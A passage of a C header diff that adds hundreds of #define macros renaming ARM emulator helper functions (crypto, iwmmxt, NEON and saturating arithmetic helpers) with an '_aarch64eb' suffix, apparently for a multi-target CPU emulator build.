gen_helper_crypto_aese gen_helper_crypto_aese_aarch64eb +#define gen_helper_crypto_aesmc gen_helper_crypto_aesmc_aarch64eb +#define gen_helper_crypto_sha1_3reg gen_helper_crypto_sha1_3reg_aarch64eb +#define gen_helper_crypto_sha1h gen_helper_crypto_sha1h_aarch64eb +#define gen_helper_crypto_sha1su1 gen_helper_crypto_sha1su1_aarch64eb +#define gen_helper_crypto_sha256h gen_helper_crypto_sha256h_aarch64eb +#define gen_helper_crypto_sha256h2 gen_helper_crypto_sha256h2_aarch64eb +#define gen_helper_crypto_sha256su0 gen_helper_crypto_sha256su0_aarch64eb +#define gen_helper_crypto_sha256su1 gen_helper_crypto_sha256su1_aarch64eb +#define gen_helper_double_saturate gen_helper_double_saturate_aarch64eb +#define gen_helper_exception_internal gen_helper_exception_internal_aarch64eb +#define gen_helper_exception_with_syndrome gen_helper_exception_with_syndrome_aarch64eb +#define gen_helper_get_cp_reg gen_helper_get_cp_reg_aarch64eb +#define gen_helper_get_cp_reg64 gen_helper_get_cp_reg64_aarch64eb +#define gen_helper_get_r13_banked gen_helper_get_r13_banked_aarch64eb +#define gen_helper_get_user_reg gen_helper_get_user_reg_aarch64eb +#define gen_helper_iwmmxt_addcb gen_helper_iwmmxt_addcb_aarch64eb +#define gen_helper_iwmmxt_addcl gen_helper_iwmmxt_addcl_aarch64eb +#define gen_helper_iwmmxt_addcw gen_helper_iwmmxt_addcw_aarch64eb +#define gen_helper_iwmmxt_addnb gen_helper_iwmmxt_addnb_aarch64eb +#define gen_helper_iwmmxt_addnl gen_helper_iwmmxt_addnl_aarch64eb +#define gen_helper_iwmmxt_addnw gen_helper_iwmmxt_addnw_aarch64eb +#define gen_helper_iwmmxt_addsb gen_helper_iwmmxt_addsb_aarch64eb +#define gen_helper_iwmmxt_addsl gen_helper_iwmmxt_addsl_aarch64eb +#define gen_helper_iwmmxt_addsw gen_helper_iwmmxt_addsw_aarch64eb +#define gen_helper_iwmmxt_addub gen_helper_iwmmxt_addub_aarch64eb +#define gen_helper_iwmmxt_addul gen_helper_iwmmxt_addul_aarch64eb +#define gen_helper_iwmmxt_adduw gen_helper_iwmmxt_adduw_aarch64eb +#define gen_helper_iwmmxt_align gen_helper_iwmmxt_align_aarch64eb +#define gen_helper_iwmmxt_avgb0 gen_helper_iwmmxt_avgb0_aarch64eb +#define gen_helper_iwmmxt_avgb1 gen_helper_iwmmxt_avgb1_aarch64eb +#define gen_helper_iwmmxt_avgw0 gen_helper_iwmmxt_avgw0_aarch64eb +#define gen_helper_iwmmxt_avgw1 gen_helper_iwmmxt_avgw1_aarch64eb +#define gen_helper_iwmmxt_bcstb gen_helper_iwmmxt_bcstb_aarch64eb +#define gen_helper_iwmmxt_bcstl gen_helper_iwmmxt_bcstl_aarch64eb +#define gen_helper_iwmmxt_bcstw gen_helper_iwmmxt_bcstw_aarch64eb +#define gen_helper_iwmmxt_cmpeqb gen_helper_iwmmxt_cmpeqb_aarch64eb +#define gen_helper_iwmmxt_cmpeql gen_helper_iwmmxt_cmpeql_aarch64eb +#define gen_helper_iwmmxt_cmpeqw gen_helper_iwmmxt_cmpeqw_aarch64eb +#define gen_helper_iwmmxt_cmpgtsb gen_helper_iwmmxt_cmpgtsb_aarch64eb +#define gen_helper_iwmmxt_cmpgtsl gen_helper_iwmmxt_cmpgtsl_aarch64eb +#define gen_helper_iwmmxt_cmpgtsw gen_helper_iwmmxt_cmpgtsw_aarch64eb +#define gen_helper_iwmmxt_cmpgtub gen_helper_iwmmxt_cmpgtub_aarch64eb +#define gen_helper_iwmmxt_cmpgtul gen_helper_iwmmxt_cmpgtul_aarch64eb +#define gen_helper_iwmmxt_cmpgtuw gen_helper_iwmmxt_cmpgtuw_aarch64eb +#define gen_helper_iwmmxt_insr gen_helper_iwmmxt_insr_aarch64eb +#define gen_helper_iwmmxt_macsw gen_helper_iwmmxt_macsw_aarch64eb +#define gen_helper_iwmmxt_macuw gen_helper_iwmmxt_macuw_aarch64eb +#define gen_helper_iwmmxt_maddsq gen_helper_iwmmxt_maddsq_aarch64eb +#define gen_helper_iwmmxt_madduq gen_helper_iwmmxt_madduq_aarch64eb +#define gen_helper_iwmmxt_maxsb gen_helper_iwmmxt_maxsb_aarch64eb +#define gen_helper_iwmmxt_maxsl gen_helper_iwmmxt_maxsl_aarch64eb +#define gen_helper_iwmmxt_maxsw gen_helper_iwmmxt_maxsw_aarch64eb +#define gen_helper_iwmmxt_maxub gen_helper_iwmmxt_maxub_aarch64eb +#define gen_helper_iwmmxt_maxul gen_helper_iwmmxt_maxul_aarch64eb +#define gen_helper_iwmmxt_maxuw gen_helper_iwmmxt_maxuw_aarch64eb +#define gen_helper_iwmmxt_minsb gen_helper_iwmmxt_minsb_aarch64eb +#define gen_helper_iwmmxt_minsl gen_helper_iwmmxt_minsl_aarch64eb +#define gen_helper_iwmmxt_minsw gen_helper_iwmmxt_minsw_aarch64eb +#define gen_helper_iwmmxt_minub gen_helper_iwmmxt_minub_aarch64eb +#define gen_helper_iwmmxt_minul gen_helper_iwmmxt_minul_aarch64eb +#define gen_helper_iwmmxt_minuw gen_helper_iwmmxt_minuw_aarch64eb +#define gen_helper_iwmmxt_msbb gen_helper_iwmmxt_msbb_aarch64eb +#define gen_helper_iwmmxt_msbl gen_helper_iwmmxt_msbl_aarch64eb +#define gen_helper_iwmmxt_msbw gen_helper_iwmmxt_msbw_aarch64eb +#define gen_helper_iwmmxt_muladdsl gen_helper_iwmmxt_muladdsl_aarch64eb +#define gen_helper_iwmmxt_muladdsw gen_helper_iwmmxt_muladdsw_aarch64eb +#define gen_helper_iwmmxt_muladdswl gen_helper_iwmmxt_muladdswl_aarch64eb +#define gen_helper_iwmmxt_mulshw gen_helper_iwmmxt_mulshw_aarch64eb +#define gen_helper_iwmmxt_mulslw gen_helper_iwmmxt_mulslw_aarch64eb +#define gen_helper_iwmmxt_muluhw gen_helper_iwmmxt_muluhw_aarch64eb +#define gen_helper_iwmmxt_mululw gen_helper_iwmmxt_mululw_aarch64eb +#define gen_helper_iwmmxt_packsl gen_helper_iwmmxt_packsl_aarch64eb +#define gen_helper_iwmmxt_packsq gen_helper_iwmmxt_packsq_aarch64eb +#define gen_helper_iwmmxt_packsw gen_helper_iwmmxt_packsw_aarch64eb +#define gen_helper_iwmmxt_packul gen_helper_iwmmxt_packul_aarch64eb +#define gen_helper_iwmmxt_packuq gen_helper_iwmmxt_packuq_aarch64eb +#define gen_helper_iwmmxt_packuw gen_helper_iwmmxt_packuw_aarch64eb +#define gen_helper_iwmmxt_rorl gen_helper_iwmmxt_rorl_aarch64eb +#define gen_helper_iwmmxt_rorq gen_helper_iwmmxt_rorq_aarch64eb +#define gen_helper_iwmmxt_rorw gen_helper_iwmmxt_rorw_aarch64eb +#define gen_helper_iwmmxt_sadb gen_helper_iwmmxt_sadb_aarch64eb +#define gen_helper_iwmmxt_sadw gen_helper_iwmmxt_sadw_aarch64eb +#define gen_helper_iwmmxt_setpsr_nz gen_helper_iwmmxt_setpsr_nz_aarch64eb +#define gen_helper_iwmmxt_shufh gen_helper_iwmmxt_shufh_aarch64eb +#define gen_helper_iwmmxt_slll gen_helper_iwmmxt_slll_aarch64eb +#define gen_helper_iwmmxt_sllq gen_helper_iwmmxt_sllq_aarch64eb +#define gen_helper_iwmmxt_sllw gen_helper_iwmmxt_sllw_aarch64eb +#define gen_helper_iwmmxt_sral gen_helper_iwmmxt_sral_aarch64eb +#define gen_helper_iwmmxt_sraq gen_helper_iwmmxt_sraq_aarch64eb +#define gen_helper_iwmmxt_sraw gen_helper_iwmmxt_sraw_aarch64eb +#define gen_helper_iwmmxt_srll gen_helper_iwmmxt_srll_aarch64eb +#define gen_helper_iwmmxt_srlq gen_helper_iwmmxt_srlq_aarch64eb +#define gen_helper_iwmmxt_srlw gen_helper_iwmmxt_srlw_aarch64eb +#define gen_helper_iwmmxt_subnb gen_helper_iwmmxt_subnb_aarch64eb +#define gen_helper_iwmmxt_subnl gen_helper_iwmmxt_subnl_aarch64eb +#define gen_helper_iwmmxt_subnw gen_helper_iwmmxt_subnw_aarch64eb +#define gen_helper_iwmmxt_subsb gen_helper_iwmmxt_subsb_aarch64eb +#define gen_helper_iwmmxt_subsl gen_helper_iwmmxt_subsl_aarch64eb +#define gen_helper_iwmmxt_subsw gen_helper_iwmmxt_subsw_aarch64eb +#define gen_helper_iwmmxt_subub gen_helper_iwmmxt_subub_aarch64eb +#define gen_helper_iwmmxt_subul gen_helper_iwmmxt_subul_aarch64eb +#define gen_helper_iwmmxt_subuw gen_helper_iwmmxt_subuw_aarch64eb +#define gen_helper_iwmmxt_unpackhb gen_helper_iwmmxt_unpackhb_aarch64eb +#define gen_helper_iwmmxt_unpackhl gen_helper_iwmmxt_unpackhl_aarch64eb +#define gen_helper_iwmmxt_unpackhsb gen_helper_iwmmxt_unpackhsb_aarch64eb +#define gen_helper_iwmmxt_unpackhsl gen_helper_iwmmxt_unpackhsl_aarch64eb +#define gen_helper_iwmmxt_unpackhsw gen_helper_iwmmxt_unpackhsw_aarch64eb +#define gen_helper_iwmmxt_unpackhub gen_helper_iwmmxt_unpackhub_aarch64eb +#define gen_helper_iwmmxt_unpackhul gen_helper_iwmmxt_unpackhul_aarch64eb +#define gen_helper_iwmmxt_unpackhuw gen_helper_iwmmxt_unpackhuw_aarch64eb +#define gen_helper_iwmmxt_unpackhw gen_helper_iwmmxt_unpackhw_aarch64eb +#define gen_helper_iwmmxt_unpacklb gen_helper_iwmmxt_unpacklb_aarch64eb +#define gen_helper_iwmmxt_unpackll gen_helper_iwmmxt_unpackll_aarch64eb +#define gen_helper_iwmmxt_unpacklsb gen_helper_iwmmxt_unpacklsb_aarch64eb +#define gen_helper_iwmmxt_unpacklsl gen_helper_iwmmxt_unpacklsl_aarch64eb +#define gen_helper_iwmmxt_unpacklsw gen_helper_iwmmxt_unpacklsw_aarch64eb +#define gen_helper_iwmmxt_unpacklub gen_helper_iwmmxt_unpacklub_aarch64eb +#define gen_helper_iwmmxt_unpacklul gen_helper_iwmmxt_unpacklul_aarch64eb +#define gen_helper_iwmmxt_unpackluw gen_helper_iwmmxt_unpackluw_aarch64eb +#define gen_helper_iwmmxt_unpacklw gen_helper_iwmmxt_unpacklw_aarch64eb +#define gen_helper_neon_abd_f32 gen_helper_neon_abd_f32_aarch64eb +#define gen_helper_neon_abdl_s16 gen_helper_neon_abdl_s16_aarch64eb +#define gen_helper_neon_abdl_s32 gen_helper_neon_abdl_s32_aarch64eb +#define gen_helper_neon_abdl_s64 gen_helper_neon_abdl_s64_aarch64eb +#define gen_helper_neon_abdl_u16 gen_helper_neon_abdl_u16_aarch64eb +#define gen_helper_neon_abdl_u32 gen_helper_neon_abdl_u32_aarch64eb +#define gen_helper_neon_abdl_u64 gen_helper_neon_abdl_u64_aarch64eb +#define gen_helper_neon_abd_s16 gen_helper_neon_abd_s16_aarch64eb +#define gen_helper_neon_abd_s32 gen_helper_neon_abd_s32_aarch64eb +#define gen_helper_neon_abd_s8 gen_helper_neon_abd_s8_aarch64eb +#define gen_helper_neon_abd_u16 gen_helper_neon_abd_u16_aarch64eb +#define gen_helper_neon_abd_u32 gen_helper_neon_abd_u32_aarch64eb +#define gen_helper_neon_abd_u8 gen_helper_neon_abd_u8_aarch64eb +#define gen_helper_neon_abs_s16 gen_helper_neon_abs_s16_aarch64eb +#define gen_helper_neon_abs_s8 gen_helper_neon_abs_s8_aarch64eb +#define gen_helper_neon_acge_f32 gen_helper_neon_acge_f32_aarch64eb +#define gen_helper_neon_acgt_f32 gen_helper_neon_acgt_f32_aarch64eb +#define gen_helper_neon_addl_saturate_s32 gen_helper_neon_addl_saturate_s32_aarch64eb +#define gen_helper_neon_addl_saturate_s64 gen_helper_neon_addl_saturate_s64_aarch64eb +#define gen_helper_neon_addl_u16 gen_helper_neon_addl_u16_aarch64eb +#define gen_helper_neon_addl_u32 gen_helper_neon_addl_u32_aarch64eb +#define gen_helper_neon_add_u16 gen_helper_neon_add_u16_aarch64eb +#define gen_helper_neon_add_u8 gen_helper_neon_add_u8_aarch64eb +#define gen_helper_neon_ceq_f32 gen_helper_neon_ceq_f32_aarch64eb +#define gen_helper_neon_ceq_u16 gen_helper_neon_ceq_u16_aarch64eb +#define gen_helper_neon_ceq_u32 gen_helper_neon_ceq_u32_aarch64eb +#define gen_helper_neon_ceq_u8 gen_helper_neon_ceq_u8_aarch64eb +#define gen_helper_neon_cge_f32 gen_helper_neon_cge_f32_aarch64eb +#define gen_helper_neon_cge_s16 gen_helper_neon_cge_s16_aarch64eb +#define gen_helper_neon_cge_s32 gen_helper_neon_cge_s32_aarch64eb +#define gen_helper_neon_cge_s8 gen_helper_neon_cge_s8_aarch64eb +#define gen_helper_neon_cge_u16 gen_helper_neon_cge_u16_aarch64eb +#define gen_helper_neon_cge_u32 gen_helper_neon_cge_u32_aarch64eb +#define gen_helper_neon_cge_u8 gen_helper_neon_cge_u8_aarch64eb +#define gen_helper_neon_cgt_f32 gen_helper_neon_cgt_f32_aarch64eb +#define gen_helper_neon_cgt_s16 gen_helper_neon_cgt_s16_aarch64eb +#define gen_helper_neon_cgt_s32 gen_helper_neon_cgt_s32_aarch64eb +#define gen_helper_neon_cgt_s8 gen_helper_neon_cgt_s8_aarch64eb +#define gen_helper_neon_cgt_u16 gen_helper_neon_cgt_u16_aarch64eb +#define gen_helper_neon_cgt_u32 gen_helper_neon_cgt_u32_aarch64eb +#define gen_helper_neon_cgt_u8 gen_helper_neon_cgt_u8_aarch64eb +#define gen_helper_neon_cls_s16 gen_helper_neon_cls_s16_aarch64eb +#define gen_helper_neon_cls_s32 gen_helper_neon_cls_s32_aarch64eb +#define gen_helper_neon_cls_s8 gen_helper_neon_cls_s8_aarch64eb +#define gen_helper_neon_clz_u16 gen_helper_neon_clz_u16_aarch64eb +#define gen_helper_neon_clz_u8 gen_helper_neon_clz_u8_aarch64eb +#define gen_helper_neon_cnt_u8 gen_helper_neon_cnt_u8_aarch64eb +#define gen_helper_neon_fcvt_f16_to_f32 gen_helper_neon_fcvt_f16_to_f32_aarch64eb +#define gen_helper_neon_fcvt_f32_to_f16 gen_helper_neon_fcvt_f32_to_f16_aarch64eb +#define gen_helper_neon_hadd_s16 gen_helper_neon_hadd_s16_aarch64eb +#define gen_helper_neon_hadd_s32 gen_helper_neon_hadd_s32_aarch64eb +#define gen_helper_neon_hadd_s8 gen_helper_neon_hadd_s8_aarch64eb +#define gen_helper_neon_hadd_u16 gen_helper_neon_hadd_u16_aarch64eb +#define gen_helper_neon_hadd_u32 gen_helper_neon_hadd_u32_aarch64eb +#define gen_helper_neon_hadd_u8 gen_helper_neon_hadd_u8_aarch64eb +#define gen_helper_neon_hsub_s16 gen_helper_neon_hsub_s16_aarch64eb +#define gen_helper_neon_hsub_s32 gen_helper_neon_hsub_s32_aarch64eb +#define gen_helper_neon_hsub_s8 gen_helper_neon_hsub_s8_aarch64eb +#define gen_helper_neon_hsub_u16 gen_helper_neon_hsub_u16_aarch64eb +#define gen_helper_neon_hsub_u32 gen_helper_neon_hsub_u32_aarch64eb +#define gen_helper_neon_hsub_u8 gen_helper_neon_hsub_u8_aarch64eb +#define gen_helper_neon_max_s16 gen_helper_neon_max_s16_aarch64eb +#define gen_helper_neon_max_s32 gen_helper_neon_max_s32_aarch64eb +#define gen_helper_neon_max_s8 gen_helper_neon_max_s8_aarch64eb +#define gen_helper_neon_max_u16 gen_helper_neon_max_u16_aarch64eb +#define gen_helper_neon_max_u32 gen_helper_neon_max_u32_aarch64eb +#define gen_helper_neon_max_u8 gen_helper_neon_max_u8_aarch64eb +#define gen_helper_neon_min_s16 gen_helper_neon_min_s16_aarch64eb +#define gen_helper_neon_min_s32 gen_helper_neon_min_s32_aarch64eb +#define gen_helper_neon_min_s8 gen_helper_neon_min_s8_aarch64eb +#define gen_helper_neon_min_u16 gen_helper_neon_min_u16_aarch64eb +#define gen_helper_neon_min_u32 gen_helper_neon_min_u32_aarch64eb +#define gen_helper_neon_min_u8 gen_helper_neon_min_u8_aarch64eb +#define gen_helper_neon_mull_p8 gen_helper_neon_mull_p8_aarch64eb +#define gen_helper_neon_mull_s16 gen_helper_neon_mull_s16_aarch64eb +#define gen_helper_neon_mull_s8 gen_helper_neon_mull_s8_aarch64eb +#define gen_helper_neon_mull_u16 gen_helper_neon_mull_u16_aarch64eb +#define gen_helper_neon_mull_u8 gen_helper_neon_mull_u8_aarch64eb +#define gen_helper_neon_mul_p8 gen_helper_neon_mul_p8_aarch64eb +#define gen_helper_neon_mul_u16 gen_helper_neon_mul_u16_aarch64eb +#define gen_helper_neon_mul_u8 gen_helper_neon_mul_u8_aarch64eb +#define gen_helper_neon_narrow_high_u16 gen_helper_neon_narrow_high_u16_aarch64eb +#define gen_helper_neon_narrow_high_u8 gen_helper_neon_narrow_high_u8_aarch64eb +#define gen_helper_neon_narrow_round_high_u16 gen_helper_neon_narrow_round_high_u16_aarch64eb +#define gen_helper_neon_narrow_round_high_u8 gen_helper_neon_narrow_round_high_u8_aarch64eb +#define gen_helper_neon_narrow_sat_s16 gen_helper_neon_narrow_sat_s16_aarch64eb +#define gen_helper_neon_narrow_sat_s32 gen_helper_neon_narrow_sat_s32_aarch64eb +#define gen_helper_neon_narrow_sat_s8 gen_helper_neon_narrow_sat_s8_aarch64eb +#define gen_helper_neon_narrow_sat_u16 gen_helper_neon_narrow_sat_u16_aarch64eb +#define gen_helper_neon_narrow_sat_u32 gen_helper_neon_narrow_sat_u32_aarch64eb +#define gen_helper_neon_narrow_sat_u8 gen_helper_neon_narrow_sat_u8_aarch64eb +#define gen_helper_neon_narrow_u16 gen_helper_neon_narrow_u16_aarch64eb +#define gen_helper_neon_narrow_u8 gen_helper_neon_narrow_u8_aarch64eb +#define gen_helper_neon_negl_u16 gen_helper_neon_negl_u16_aarch64eb +#define gen_helper_neon_negl_u32 gen_helper_neon_negl_u32_aarch64eb +#define gen_helper_neon_paddl_u16 gen_helper_neon_paddl_u16_aarch64eb +#define gen_helper_neon_paddl_u32 gen_helper_neon_paddl_u32_aarch64eb +#define gen_helper_neon_padd_u16 gen_helper_neon_padd_u16_aarch64eb +#define gen_helper_neon_padd_u8 gen_helper_neon_padd_u8_aarch64eb +#define gen_helper_neon_pmax_s16 gen_helper_neon_pmax_s16_aarch64eb +#define gen_helper_neon_pmax_s8 gen_helper_neon_pmax_s8_aarch64eb +#define gen_helper_neon_pmax_u16 gen_helper_neon_pmax_u16_aarch64eb +#define gen_helper_neon_pmax_u8 gen_helper_neon_pmax_u8_aarch64eb +#define gen_helper_neon_pmin_s16 gen_helper_neon_pmin_s16_aarch64eb +#define gen_helper_neon_pmin_s8 gen_helper_neon_pmin_s8_aarch64eb +#define gen_helper_neon_pmin_u16 gen_helper_neon_pmin_u16_aarch64eb +#define gen_helper_neon_pmin_u8 gen_helper_neon_pmin_u8_aarch64eb +#define gen_helper_neon_pmull_64_hi gen_helper_neon_pmull_64_hi_aarch64eb +#define gen_helper_neon_pmull_64_lo gen_helper_neon_pmull_64_lo_aarch64eb +#define gen_helper_neon_qabs_s16 gen_helper_neon_qabs_s16_aarch64eb +#define gen_helper_neon_qabs_s32 gen_helper_neon_qabs_s32_aarch64eb +#define gen_helper_neon_qabs_s8 gen_helper_neon_qabs_s8_aarch64eb +#define gen_helper_neon_qadd_s16 gen_helper_neon_qadd_s16_aarch64eb +#define gen_helper_neon_qadd_s32 gen_helper_neon_qadd_s32_aarch64eb +#define gen_helper_neon_qadd_s64 gen_helper_neon_qadd_s64_aarch64eb +#define gen_helper_neon_qadd_s8 gen_helper_neon_qadd_s8_aarch64eb +#define gen_helper_neon_qadd_u16 gen_helper_neon_qadd_u16_aarch64eb +#define gen_helper_neon_qadd_u32 gen_helper_neon_qadd_u32_aarch64eb +#define gen_helper_neon_qadd_u64 gen_helper_neon_qadd_u64_aarch64eb +#define gen_helper_neon_qadd_u8 gen_helper_neon_qadd_u8_aarch64eb +#define gen_helper_neon_qdmulh_s16 gen_helper_neon_qdmulh_s16_aarch64eb +#define gen_helper_neon_qdmulh_s32 gen_helper_neon_qdmulh_s32_aarch64eb +#define gen_helper_neon_qneg_s16 gen_helper_neon_qneg_s16_aarch64eb +#define gen_helper_neon_qneg_s32 gen_helper_neon_qneg_s32_aarch64eb +#define gen_helper_neon_qneg_s8 gen_helper_neon_qneg_s8_aarch64eb +#define gen_helper_neon_qrdmulh_s16 gen_helper_neon_qrdmulh_s16_aarch64eb +#define gen_helper_neon_qrdmulh_s32 gen_helper_neon_qrdmulh_s32_aarch64eb +#define gen_helper_neon_qrshl_s16 gen_helper_neon_qrshl_s16_aarch64eb +#define gen_helper_neon_qrshl_s32 gen_helper_neon_qrshl_s32_aarch64eb +#define gen_helper_neon_qrshl_s64 gen_helper_neon_qrshl_s64_aarch64eb +#define gen_helper_neon_qrshl_s8 gen_helper_neon_qrshl_s8_aarch64eb +#define gen_helper_neon_qrshl_u16 gen_helper_neon_qrshl_u16_aarch64eb +#define gen_helper_neon_qrshl_u32 gen_helper_neon_qrshl_u32_aarch64eb +#define gen_helper_neon_qrshl_u64 gen_helper_neon_qrshl_u64_aarch64eb +#define gen_helper_neon_qrshl_u8 gen_helper_neon_qrshl_u8_aarch64eb +#define gen_helper_neon_qshl_s16 gen_helper_neon_qshl_s16_aarch64eb +#define gen_helper_neon_qshl_s32 gen_helper_neon_qshl_s32_aarch64eb +#define gen_helper_neon_qshl_s64 gen_helper_neon_qshl_s64_aarch64eb +#define gen_helper_neon_qshl_s8 gen_helper_neon_qshl_s8_aarch64eb +#define gen_helper_neon_qshl_u16 gen_helper_neon_qshl_u16_aarch64eb +#define gen_helper_neon_qshl_u32 gen_helper_neon_qshl_u32_aarch64eb +#define gen_helper_neon_qshl_u64 gen_helper_neon_qshl_u64_aarch64eb +#define gen_helper_neon_qshl_u8 gen_helper_neon_qshl_u8_aarch64eb +#define gen_helper_neon_qshlu_s16 gen_helper_neon_qshlu_s16_aarch64eb +#define gen_helper_neon_qshlu_s32 gen_helper_neon_qshlu_s32_aarch64eb +#define gen_helper_neon_qshlu_s64 gen_helper_neon_qshlu_s64_aarch64eb +#define gen_helper_neon_qshlu_s8 gen_helper_neon_qshlu_s8_aarch64eb +#define gen_helper_neon_qsub_s16 gen_helper_neon_qsub_s16_aarch64eb +#define gen_helper_neon_qsub_s32 gen_helper_neon_qsub_s32_aarch64eb +#define gen_helper_neon_qsub_s64 gen_helper_neon_qsub_s64_aarch64eb +#define gen_helper_neon_qsub_s8 gen_helper_neon_qsub_s8_aarch64eb +#define gen_helper_neon_qsub_u16 gen_helper_neon_qsub_u16_aarch64eb +#define gen_helper_neon_qsub_u32 gen_helper_neon_qsub_u32_aarch64eb +#define gen_helper_neon_qsub_u64 gen_helper_neon_qsub_u64_aarch64eb +#define gen_helper_neon_qsub_u8 gen_helper_neon_qsub_u8_aarch64eb +#define gen_helper_neon_qunzip16 gen_helper_neon_qunzip16_aarch64eb +#define gen_helper_neon_qunzip32 gen_helper_neon_qunzip32_aarch64eb +#define gen_helper_neon_qunzip8 gen_helper_neon_qunzip8_aarch64eb +#define gen_helper_neon_qzip16 gen_helper_neon_qzip16_aarch64eb +#define gen_helper_neon_qzip32 gen_helper_neon_qzip32_aarch64eb +#define gen_helper_neon_qzip8 gen_helper_neon_qzip8_aarch64eb +#define gen_helper_neon_rhadd_s16 gen_helper_neon_rhadd_s16_aarch64eb +#define gen_helper_neon_rhadd_s32 gen_helper_neon_rhadd_s32_aarch64eb +#define gen_helper_neon_rhadd_s8 gen_helper_neon_rhadd_s8_aarch64eb +#define gen_helper_neon_rhadd_u16 gen_helper_neon_rhadd_u16_aarch64eb +#define gen_helper_neon_rhadd_u32 gen_helper_neon_rhadd_u32_aarch64eb +#define gen_helper_neon_rhadd_u8 gen_helper_neon_rhadd_u8_aarch64eb +#define gen_helper_neon_rshl_s16 gen_helper_neon_rshl_s16_aarch64eb +#define gen_helper_neon_rshl_s32 gen_helper_neon_rshl_s32_aarch64eb +#define gen_helper_neon_rshl_s64 gen_helper_neon_rshl_s64_aarch64eb +#define gen_helper_neon_rshl_s8 gen_helper_neon_rshl_s8_aarch64eb +#define gen_helper_neon_rshl_u16 gen_helper_neon_rshl_u16_aarch64eb +#define gen_helper_neon_rshl_u32 gen_helper_neon_rshl_u32_aarch64eb +#define gen_helper_neon_rshl_u64 gen_helper_neon_rshl_u64_aarch64eb +#define gen_helper_neon_rshl_u8 gen_helper_neon_rshl_u8_aarch64eb +#define gen_helper_neon_shl_s16 gen_helper_neon_shl_s16_aarch64eb +#define gen_helper_neon_shl_s32 gen_helper_neon_shl_s32_aarch64eb +#define gen_helper_neon_shl_s64 gen_helper_neon_shl_s64_aarch64eb +#define gen_helper_neon_shl_s8 gen_helper_neon_shl_s8_aarch64eb +#define gen_helper_neon_shl_u16 gen_helper_neon_shl_u16_aarch64eb +#define gen_helper_neon_shl_u32 gen_helper_neon_shl_u32_aarch64eb +#define gen_helper_neon_shl_u64 gen_helper_neon_shl_u64_aarch64eb +#define gen_helper_neon_shl_u8 gen_helper_neon_shl_u8_aarch64eb +#define gen_helper_neon_subl_u16 gen_helper_neon_subl_u16_aarch64eb +#define gen_helper_neon_subl_u32 gen_helper_neon_subl_u32_aarch64eb +#define gen_helper_neon_sub_u16 gen_helper_neon_sub_u16_aarch64eb +#define gen_helper_neon_sub_u8 gen_helper_neon_sub_u8_aarch64eb +#define gen_helper_neon_tbl gen_helper_neon_tbl_aarch64eb +#define gen_helper_neon_tst_u16 gen_helper_neon_tst_u16_aarch64eb +#define gen_helper_neon_tst_u32 gen_helper_neon_tst_u32_aarch64eb +#define gen_helper_neon_tst_u8 gen_helper_neon_tst_u8_aarch64eb +#define gen_helper_neon_unarrow_sat16 gen_helper_neon_unarrow_sat16_aarch64eb +#define gen_helper_neon_unarrow_sat32 gen_helper_neon_unarrow_sat32_aarch64eb +#define gen_helper_neon_unarrow_sat8 gen_helper_neon_unarrow_sat8_aarch64eb +#define gen_helper_neon_unzip16 gen_helper_neon_unzip16_aarch64eb +#define gen_helper_neon_unzip8 gen_helper_neon_unzip8_aarch64eb +#define gen_helper_neon_widen_s16 gen_helper_neon_widen_s16_aarch64eb +#define gen_helper_neon_widen_s8 gen_helper_neon_widen_s8_aarch64eb +#define gen_helper_neon_widen_u16 gen_helper_neon_widen_u16_aarch64eb +#define gen_helper_neon_widen_u8 gen_helper_neon_widen_u8_aarch64eb +#define gen_helper_neon_zip16 gen_helper_neon_zip16_aarch64eb +#define gen_helper_neon_zip8 gen_helper_neon_zip8_aarch64eb +#define gen_helper_pre_hvc gen_helper_pre_hvc_aarch64eb +#define gen_helper_pre_smc gen_helper_pre_smc_aarch64eb +#define gen_helper_qadd16 gen_helper_qadd16_aarch64eb +#define gen_helper_qadd8 gen_helper_qadd8_aarch64eb +#define gen_helper_qaddsubx gen_helper_qaddsubx_aarch64eb +#define gen_helper_qsub16 gen_helper_qsub16_aarch64eb +#define gen_helper_qsub8 gen_helper_qsub8_aarch64eb +#define gen_helper_qsubaddx gen_helper_qsubaddx_aarch64eb +#define gen_helper_rbit gen_helper_rbit_aarch64eb +#define gen_helper_recpe_f32 gen_helper_recpe_f32_aarch64eb +#define gen_helper_recpe_u32 gen_helper_recpe_u32_aarch64eb +#define gen_helper_recps_f32 gen_helper_recps_f32_aarch64eb +#define gen_helper_rintd gen_helper_rintd_aarch64eb +#define gen_helper_rintd_exact gen_helper_rintd_exact_aarch64eb +#define gen_helper_rints gen_helper_rints_aarch64eb +#define gen_helper_rints_exact gen_helper_rints_exact_aarch64eb +#define gen_helper_ror_cc gen_helper_ror_cc_aarch64eb +#define gen_helper_rsqrte_f32 gen_helper_rsqrte_f32_aarch64eb +#define gen_helper_rsqrte_u32 gen_helper_rsqrte_u32_aarch64eb +#define gen_helper_rsqrts_f32 gen_helper_rsqrts_f32_aarch64eb +#define gen_helper_sadd16 gen_helper_sadd16_aarch64eb +#define gen_helper_sadd8 gen_helper_sadd8_aarch64eb +#define gen_helper_saddsubx gen_helper_saddsubx_aarch64eb +#define gen_helper_sar_cc gen_helper_sar_cc_aarch64eb +#define gen_helper_sdiv gen_helper_sdiv_aarch64eb +#define gen_helper_sel_flags gen_helper_sel_flags_aarch64eb +#define gen_helper_set_cp_reg gen_helper_set_cp_reg_aarch64eb +#define gen_helper_set_cp_reg64 gen_helper_set_cp_reg64_aarch64eb +#define gen_helper_set_neon_rmode gen_helper_set_neon_rmode_aarch64eb +#define gen_helper_set_r13_banked gen_helper_set_r13_banked_aarch64eb +#define gen_helper_set_rmode gen_helper_set_rmode_aarch64eb +#define gen_helper_set_user_reg gen_helper_set_user_reg_aarch64eb +#define gen_helper_shadd16 gen_helper_shadd16_aarch64eb +#define gen_helper_shadd8 gen_helper_shadd8_aarch64eb +#define gen_helper_shaddsubx gen_helper_shaddsubx_aarch64eb +#define gen_helper_shl_cc gen_helper_shl_cc_aarch64eb +#define gen_helper_shr_cc gen_helper_shr_cc_aarch64eb +#define gen_helper_shsub16 gen_helper_shsub16_aarch64eb +#define gen_helper_shsub8 gen_helper_shsub8_aarch64eb +#define gen_helper_shsubaddx gen_helper_shsubaddx_aarch64eb +#define gen_helper_ssat gen_helper_ssat_aarch64eb +#define gen_helper_ssat16 gen_helper_ssat16_aarch64eb +#define gen_helper_ssub16 gen_helper_ssub16_aarch64eb +#define gen_helper_ssub8 gen_helper_ssub8_aarch64eb +#define gen_helper_ssubaddx gen_helper_ssubaddx_aarch64eb +#define gen_helper_sub_saturate gen_helper_sub_saturate_aarch64eb +#define gen_helper_sxtb16 gen_helper_sxtb16_aarch64eb +#define gen_helper_uadd16 gen_helper_uadd16_aarch64eb +#define 